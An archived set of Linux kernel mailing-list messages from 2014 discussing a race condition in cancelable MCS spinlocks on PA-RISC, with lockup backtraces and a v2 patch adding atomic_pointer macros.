	Mon, 2 Jun 2014 11:27:43 -0400
Original-Received: from g2t2352.austin.hp.com ([15.217.128.51]:19156 "EHLO
	g2t2352.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751639AbaFBP1m (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 11:27:42 -0400
Original-Received: from g2t2360.austin.hp.com (g2t2360.austin.hp.com [16.197.8.247])
	by g2t2352.austin.hp.com (Postfix) with ESMTP id E747D9B;
	Mon,  2 Jun 2014 15:27:41 +0000 (UTC)
Original-Received: from [10.0.2.15] (lowjas2.americas.hpqcorp.net [16.212.74.111])
	by g2t2360.austin.hp.com (Postfix) with ESMTP id 6C52446;
	Mon,  2 Jun 2014 15:27:39 +0000 (UTC)
In-Reply-To: <538C86E2.1070806@hp.com>
X-Mailer: Evolution 3.2.3-0ubuntu6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716133 gmane.linux.ports.parisc:5824
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716133>

On Mon, 2014-06-02 at 10:14 -0400, Waiman Long wrote:
> On 06/01/2014 01:53 PM, Mikulas Patocka wrote:
> >   struct optimistic_spin_queue {
> > -	struct optimistic_spin_queue *next, *prev;
> > +	atomic_pointer_t next;
> > +	struct optimistic_spin_queue *prev;
> >   	int locked; /* 1 if lock acquired */
> >   };
> 
> Is there a way to do it without changing the pointer type? It will make 
> the code harder to read and understand.

I agree that it would be nice if there is a way to fix this without
changing the pointer type of "next". The change of the type to
atomic_pointer_t might make it less obvious what "next" is for. This is
then compounded with "prev" being kept as a pointer to
optimistic_spin_queue, which can further make it appear as if "next" may
potentially point to something different.



From - Thu Nov 08 21:10:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 11:39:55 -0400
Lines: 103
Approved: news@gmane.org
Message-ID: <BLU0-SMTP35E10E00A34C3FF2DB55B297200@phx.gbl>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <20140601192026.GE16155@laptop.programming.kicks-ass.net> <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl> <alpine.LRH.2.02.1406020914440.18342@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1406021002090.1300@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401723581 28692 80.91.229.3 (2 Jun 2014 15:39:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 15:39:41 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 17:39:32 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrUKf-0001I9-0v
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 17:39:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751491AbaFBPj2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 11:39:28 -0400
Original-Received: from blu004-omc2s26.hotmail.com ([65.55.111.101]:62945 "EHLO
	BLU004-OMC2S26.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751202AbaFBPj1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 11:39:27 -0400
Original-Received: from BLU0-SMTP35 ([65.55.111.72]) by BLU004-OMC2S26.hotmail.com with Microsoft SMTPSVC(7.5.7601.22701);
	 Mon, 2 Jun 2014 08:39:26 -0700
X-TMN: [EoIX52jXqf50xVFbD0WgKAoYSC/JNbgR]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([70.50.50.69]) by BLU0-SMTP35.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 2 Jun 2014 08:39:24 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <alpine.LRH.2.02.1406021002090.1300@file01.intranet.prod.int.rdu2.redhat.com>
X-OriginalArrivalTime: 02 Jun 2014 15:39:25.0135 (UTC) FILETIME=[D4F9CDF0:01CF7E78]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5825 gmane.linux.kernel:1716147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5825>

On 6/2/2014 10:02 AM, Mikulas Patocka wrote:
>
> On Mon, 2 Jun 2014, Mikulas Patocka wrote:
>
>>
>> On Sun, 1 Jun 2014, John David Anglin wrote:
>>
>>> On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
>>>
>>>>> If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
>>>>> the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
>>>>> so, in this case, cmpxchg or xchg isn't really atomic at all.
>>>> And this is really the first place in the kernel that breaks like this?
>>>> I've been using xchg() and cmpxchg() without such consideration for
>>>> quite a while.
>>> I believe Mikulas is correct.  Even in a controlled situation where a
>>> cmpxchg operation is used to implement pthread_spin_lock() in userspace,
>>> we found recently that the lock must be released with a cmpxchg
>>> operation and not a simple write on SMP systems. There is a race in the
>>> cache operations or instruction ordering that's not present with the
>>> ldcw instruction.
>>>
>>> Dave
>>> --
>>> John David Anglin	dave.anglin@bell.net
>> That is strange.
>>
>> Spinlock with cmpxchg on lock and a single write on unlock should work,
>> assuming that cmpxchg doesn't write to the target address when it detects
>> mismatch (the cmpxchg in the kernel syscall page doesn't do it, it
>> nullifies the write instruction on mismatch).
>>
>> Do you have some code that reproduces this misbehavior?
There is a pthread_spin_lock test in the  kyotocabinet package that 
reproduces
this misbehavior.  Essentially, it creates four threads which loop doing 
pthread_spin_lock(),
sched_yield() and then pthread_spin_unlock().  On SMP systems, the test 
hangs with
the pthread_spin_lock locked and no thread holding lock (i.e., unlock 
failed).

The pthread support uses the cmpxchg code in 
arch/parisc/kernel/syscall.S.  This uses
"hashed" locks, etc, in a manner similar to the kernel code.

>>
>> We really need to find out why does it behave this way:
>> - is PA-RISC really out of order? (we used to believe that it is in-order
>>    and we have empty barrier instructions in the kernel). Does adding the
>>    "SYNC" instruction before the write in pthread_spin_unlock fix it?
I tried "SYNC" instruction before write and after the cmpxchg operation both
with.  In the cmpxchg operation, I also tried it with cache flush. I was 
trying to
simulated ldcw behavior.
>> - does the processor performs nullified writes unconditionally? Does
>>    moving the write in the cmpxchg implementation from the nullified slot
>>    to is own branch fix it?
I don't see how the processor can perform nullified writes 
unconditionally although that
might explain the observed symptom.  Didn't try moving the cmpxchg write.

>> - does adding a dummy "ldcw" instruction to an unrelated address fix it?
>>    Is it that "ldcw" has some magic barrier properties?
I had wondered about that.  One can't use %r0 as the instruction target 
as the architecture
manual says that it may then be implemented as a normal load. "ldcw" 
definitely has some magic
cache and barrier properties.  A normal store definitely works with it 
to reset the semaphore.
> - and there is "stw,o" instruction that does ordered store according to
> the specification, so we should test it too...
This doesn't help.

Currently, the Debian eglibc has a pthread_spin_unlock.diff patch that 
resolves the
kyotocabinet bug.  See:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=725508

>
>> I think we need to perform these tests and maybe some more to find out
>> what really happened there...
>>
>> BTW. in Debian 5 libc 2.7, pthread_spin_lock uses ldcw and
>> pthread_spin_unlock uses a single write (just like the kernel spinlock
>> implementation). In Debian-ports libc 2.18, both pthread_spin_lock and
>> pthread_spin_unlock call the kernel syscall page. What was the reason for
>> switching to a less efficient implementation?
>>
>> Mikulas
>>
>

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 11:57:14 -0400 (EDT)
Lines: 80
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406021146030.20627@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <20140601192026.GE16155@laptop.programming.kicks-ass.net> <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl> <20140601213003.GG16155@laptop.programming.kicks-ass.net>
 <alpine.LRH.2.02.1406020503000.17105@file01.intranet.prod.int.rdu2.redhat.com> <20140602132454.GO22231@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401724706 10757 80.91.229.3 (2 Jun 2014 15:58:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 15:58:26 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	John David Anglin <dave.anglin@bell.net>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	Waiman.Long@hp.com, tglx@linutronix.de, riel@redhat.com,
	akpm@linux-foundation.org, davidlohr@hp.com, hpa@zytor.com,
	andi@firstfloor.org, aswin@hp.com, scott.norton@hp.com,
	Jason Low <jason.low2@hp.com>
To: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 17:58:16 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrUcq-0000wQ-Fk
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 17:58:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752132AbaFBP6P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 11:58:15 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:63117 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751491AbaFBP6O (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 11:58:14 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s52FvGRe010088
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Mon, 2 Jun 2014 11:57:16 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s52FvFQV029277
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 2 Jun 2014 11:57:15 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s52FvE3s022130;
	Mon, 2 Jun 2014 11:57:14 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s52FvEbW022126;
	Mon, 2 Jun 2014 11:57:14 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <20140602132454.GO22231@linux.vnet.ibm.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5826 gmane.linux.kernel:1716157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5826>



On Mon, 2 Jun 2014, Paul E. McKenney wrote:

> On Mon, Jun 02, 2014 at 05:19:39AM -0400, Mikulas Patocka wrote:
> > 
> > 
> > On Sun, 1 Jun 2014, Peter Zijlstra wrote:
> > 
> > > On Sun, Jun 01, 2014 at 04:46:26PM -0400, John David Anglin wrote:
> > > > On 1-Jun-14, at 3:20 PM, Peter Zijlstra wrote:
> > > > 
> > > > >>If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg
> > > > >>at
> > > > >>the same time, you break it. ACCESS_ONCE doesn't take the hashed
> > > > >>spinlock,
> > > > >>so, in this case, cmpxchg or xchg isn't really atomic at all.
> > > > >
> > > > >And this is really the first place in the kernel that breaks like this?
> > > > >I've been using xchg() and cmpxchg() without such consideration for
> > > > >quite a while.
> > > > 
> > > > I believe Mikulas is correct.  Even in a controlled situation where a
> > > > cmpxchg operation
> > > > is used to implement pthread_spin_lock() in userspace, we found recently
> > > > that the lock
> > > > must be released with a  cmpxchg operation and not a simple write on SMP
> > > > systems.
> > > > There is a race in the cache operations or instruction ordering that's not
> > > > present with
> > > > the ldcw instruction.
> > > 
> > > Oh, I'm not arguing that. He's quite right that its broken, but this
> > > form of atomic ops is also quite insane and unusual. Most sane machines
> > > don't have this problem.
> > > 
> > > My main concern is how are we going to avoid breaking parisc (and I
> > > think sparc32, which is similarly retarded) in the future; we should
> > > invest in machinery to find and detect these things.
> > 
> > Grep the kernel for "\<xchg\>" and "\<cmpxchg\>" and replace them with 
> > atomic types and atomic access functions.
> 
> Not so good for pointers, though.  Defeats type-checking, for one thing.
> An example of this is use of xchg() for atomically enqueuing RCU callbacks
> in kernel/rcu/tree_plugin.h.
> 
> I still like the idea of PA-RISC's compiler implementing ACCESS_ONCE()
> as needed to make things work on that architecture.
> 
> 							Thanx, Paul

We can perform some preprocessor tricks to check the pointer type. See my 
next patch that adds type checking - you declare the variable with

	atomic_pointer(struct optimistic_spin_queue *) next;

and the pointer type is checked on all atomic operations involving this 
variable.


The problem with ACCESS_ONCE is that people omit it. There's plenty of 
places in the kernel where ACCESS_ONCE should be used and isn't 
(i_size_read, i_size_write, rt_mutex_is_locked...). Nothing really forces 
people to write the code correctly and use it.

atomic_pointer (and other atomic types) have the advantage that they force 
people to use the atomic functions to access them. If you read or write to 
the variable directly, it won't compile.

I think the best solution is to wrap the critical pointers with 
atomic_pointer(pointer_type *) and let the compiler report errors on all 
places where it is used unsafely.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 12:00:45 -0400 (EDT)
Lines: 206
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1401724919 13115 80.91.229.3 (2 Jun 2014 16:01:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 16:01:59 +0000 (UTC)
Cc: chegu_vinod@hp.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, jejb@parisc-linux.org,
	deller@gmx.de, John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 18:01:51 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrUgI-000386-RL
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 18:01:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752554AbaFBQBu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 12:01:50 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:48105 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752132AbaFBQBt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 12:01:49 -0400
Original-Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s52G0jSL025706
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
	Mon, 2 Jun 2014 12:00:45 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s52G0jqt029577
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Mon, 2 Jun 2014 12:00:45 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id s52G0jgm022868;
	Mon, 2 Jun 2014 12:00:45 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id s52G0jR4022864;
	Mon, 2 Jun 2014 12:00:45 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
In-Reply-To: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5827 gmane.linux.kernel:1716159
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5827>

The cancelable MCS spinlocks introduced in
fb0527bd5ea99bfeb2dd91e3c1433ecf745d6b99 break the kernel on PA-RISC.

How to reproduce:
* Use a machine with two dual-core PA-8900 processors.
* Run the LVM testsuite and compile the kernel in an endless loop at the
  same time.
* Wait for an hour or two and the kernel locks up.

You see some process locked up in osd_lock and osq_unlock:
INFO: rcu_sched self-detected stall on CPU { 2}  (t=18000 jiffies g=247335 c=247334 q=101)
CPU: 2 PID: 21006 Comm: lvm Tainted: G           O  3.15.0-rc7 #9
Backtrace:
 [<000000004013e8a4>] show_stack+0x14/0x20
 [<00000000403016f0>] dump_stack+0x88/0x100
 [<00000000401b8738>] rcu_check_callbacks+0x4a8/0x900
 [<00000000401714c4>] update_process_times+0x64/0xc0
 [<000000004013fa24>] timer_interrupt+0x19c/0x200
 [<00000000401ad8d8>] handle_irq_event_percpu+0xa8/0x238
 [<00000000401b2454>] handle_percpu_irq+0x9c/0xd0
 [<00000000401acc40>] generic_handle_irq+0x40/0x50
 [<00000000401408cc>] do_cpu_irq_mask+0x1ac/0x298
 [<000000004012c074>] intr_return+0x0/0xc
 [<00000000401a609c>] osq_lock+0xc4/0x178
 [<0000000040138d24>] __mutex_lock_slowpath+0x1cc/0x290
 [<0000000040138e78>] mutex_lock+0x90/0x98
 [<00000000402a5614>] kernfs_activate+0x6c/0x1a0
 [<00000000402a59e0>] kernfs_add_one+0x140/0x190
 [<00000000402a75ec>] __kernfs_create_file+0xa4/0xf8

INFO: rcu_sched self-detected stall on CPU { 3}  (t=18473 jiffies g=247335 c=247334 q=101)
CPU: 3 PID: 21051 Comm: udevd Tainted: G           O  3.15.0-rc7 #9
Backtrace:
 [<000000004013e8a4>] show_stack+0x14/0x20
 [<00000000403016f0>] dump_stack+0x88/0x100
 [<00000000401b8738>] rcu_check_callbacks+0x4a8/0x900
 [<00000000401714c4>] update_process_times+0x64/0xc0
 [<000000004013fa24>] timer_interrupt+0x19c/0x200
 [<00000000401ad8d8>] handle_irq_event_percpu+0xa8/0x238
 [<00000000401b2454>] handle_percpu_irq+0x9c/0xd0
 [<00000000401acc40>] generic_handle_irq+0x40/0x50
 [<00000000401408cc>] do_cpu_irq_mask+0x1ac/0x298
 [<000000004012c074>] intr_return+0x0/0xc
 [<00000000401a6220>] osq_unlock+0xd0/0xf8
 [<0000000040138dcc>] __mutex_lock_slowpath+0x274/0x290
 [<0000000040138e78>] mutex_lock+0x90/0x98
 [<00000000402a3a90>] kernfs_dop_revalidate+0x48/0x108
 [<0000000040233310>] lookup_fast+0x320/0x348
 [<0000000040234600>] link_path_walk+0x190/0x9d8


The code in kernel/locking/mcs_spinlock.c is broken.

PA-RISC doesn't have xchg or cmpxchg atomic instructions like other
processors. It only has ldcw and ldcd instructions that load a word (or
doubleword) from memory and atomically store zero at the same location.
These instructions can only be used to implement spinlocks, direct
implementation of other atomic operations is impossible.

Consequently, Linux xchg and cmpxchg functions are implemented in such a
way that they hash the address, use the hash to index a spinlock, take the
spinlock, perform the xchg or cmpxchg operation non-atomically and drop
the spinlock.

If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
so, in this case, cmpxchg or xchg isn't really atomic at all.

This patch fixes the bug by introducing a new type atomic_pointer and
replacing the offending pointer with it. atomic_pointer_set (calling
atomic_long_set) takes the hashed spinlock, so it avoids the race
condition. We perform some gcc-specific compiler tricks to warn on pointer
type mismatch.

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>

---
 include/asm-generic/atomic-long.h |   27 +++++++++++++++++++++++++++
 kernel/locking/mcs_spinlock.c     |   16 ++++++++--------
 kernel/locking/mcs_spinlock.h     |    4 +++-
 3 files changed, 38 insertions(+), 9 deletions(-)

Index: linux-3.15-rc8/kernel/locking/mcs_spinlock.c
===================================================================
--- linux-3.15-rc8.orig/kernel/locking/mcs_spinlock.c	2014-06-02 17:11:16.000000000 +0200
+++ linux-3.15-rc8/kernel/locking/mcs_spinlock.c	2014-06-02 17:11:50.000000000 +0200
@@ -47,8 +47,8 @@ osq_wait_next(struct optimistic_spin_que
 		 * wait for either @lock to point to us, through its Step-B, or
 		 * wait for a new @node->next from its Step-C.
 		 */
-		if (node->next) {
-			next = xchg(&node->next, NULL);
+		if (atomic_pointer_read(&node->next)) {
+			next = atomic_pointer_xchg(&node->next, NULL);
 			if (next)
 				break;
 		}
@@ -65,13 +65,13 @@ bool osq_lock(struct optimistic_spin_que
 	struct optimistic_spin_queue *prev, *next;
 
 	node->locked = 0;
-	node->next = NULL;
+	atomic_pointer_set(&node->next, NULL);
 
 	node->prev = prev = xchg(lock, node);
 	if (likely(prev == NULL))
 		return true;
 
-	ACCESS_ONCE(prev->next) = node;
+	atomic_pointer_set(&prev->next, node);
 
 	/*
 	 * Normally @prev is untouchable after the above store; because at that
@@ -103,8 +103,8 @@ unqueue:
 	 */
 
 	for (;;) {
-		if (prev->next == node &&
-		    cmpxchg(&prev->next, node, NULL) == node)
+		if (atomic_pointer_read(&prev->next) == node &&
+		    atomic_pointer_cmpxchg(&prev->next, node, NULL) == node)
 			break;
 
 		/*
@@ -144,7 +144,7 @@ unqueue:
 	 */
 
 	ACCESS_ONCE(next->prev) = prev;
-	ACCESS_ONCE(prev->next) = next;
+	atomic_pointer_set(&prev->next, next);
 
 	return false;
 }
@@ -163,7 +163,7 @@ void osq_unlock(struct optimistic_spin_q
 	/*
 	 * Second most likely case.
 	 */
-	next = xchg(&node->next, NULL);
+	next = atomic_pointer_xchg(&node->next, NULL);
 	if (next) {
 		ACCESS_ONCE(next->locked) = 1;
 		return;
Index: linux-3.15-rc8/kernel/locking/mcs_spinlock.h
===================================================================
--- linux-3.15-rc8.orig/kernel/locking/mcs_spinlock.h	2014-06-02 17:11:16.000000000 +0200
+++ linux-3.15-rc8/kernel/locking/mcs_spinlock.h	2014-06-02 17:11:50.000000000 +0200
@@ -13,6 +13,7 @@
 #define __LINUX_MCS_SPINLOCK_H
 
 #include <asm/mcs_spinlock.h>
+#include <linux/atomic.h>
 
 struct mcs_spinlock {
 	struct mcs_spinlock *next;
@@ -119,7 +120,8 @@ void mcs_spin_unlock(struct mcs_spinlock
  */
 
 struct optimistic_spin_queue {
-	struct optimistic_spin_queue *next, *prev;
+	atomic_pointer(struct optimistic_spin_queue *) next;
+	struct optimistic_spin_queue *prev;
 	int locked; /* 1 if lock acquired */
 };
 
Index: linux-3.15-rc8/include/asm-generic/atomic-long.h
===================================================================
--- linux-3.15-rc8.orig/include/asm-generic/atomic-long.h	2014-06-02 17:11:17.000000000 +0200
+++ linux-3.15-rc8/include/asm-generic/atomic-long.h	2014-06-02 17:11:50.000000000 +0200
@@ -255,4 +255,31 @@ static inline long atomic_long_add_unles
 
 #endif  /*  BITS_PER_LONG == 64  */
 
+#define atomic_pointer(type)						\
+union {									\
+	atomic_long_t __a;						\
+	type __t;							\
+	char __check_sizeof[sizeof(type) == sizeof(long) ? 1 : -1];	\
+}
+
+#define ATOMIC_POINTER_INIT(i)	{ .__t = (i) }
+
+#define atomic_pointer_read(v)	((typeof((v)->__t))atomic_long_read(&(v)->__a))
+
+#define atomic_pointer_set(v, i)		({			\
+	typeof((v)->__t) __i = (i);					\
+	atomic_long_set(&(v)->__a, (long)(__i));			\
+})
+
+#define atomic_pointer_xchg(v, i)		({			\
+	typeof((v)->__t) __i = (i);					\
+	(typeof((v)->__t))atomic_long_xchg(&(v)->__a, (long)(__i));	\
+})
+
+#define atomic_pointer_cmpxchg(v, old, new)	({			\
+	typeof((v)->__t) __old = (old);					\
+	typeof((v)->__t) __new = (new);					\
+	(typeof((v)->__t))atomic_long_cmpxchg(&(v)->__a, (long)(__old), (long)(__new));\
+})
+
 #endif  /*  _ASM_GENERIC_ATOMIC_LONG_H  */

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 18:25:25 +0200
Lines: 58
Approved: news@gmane.org
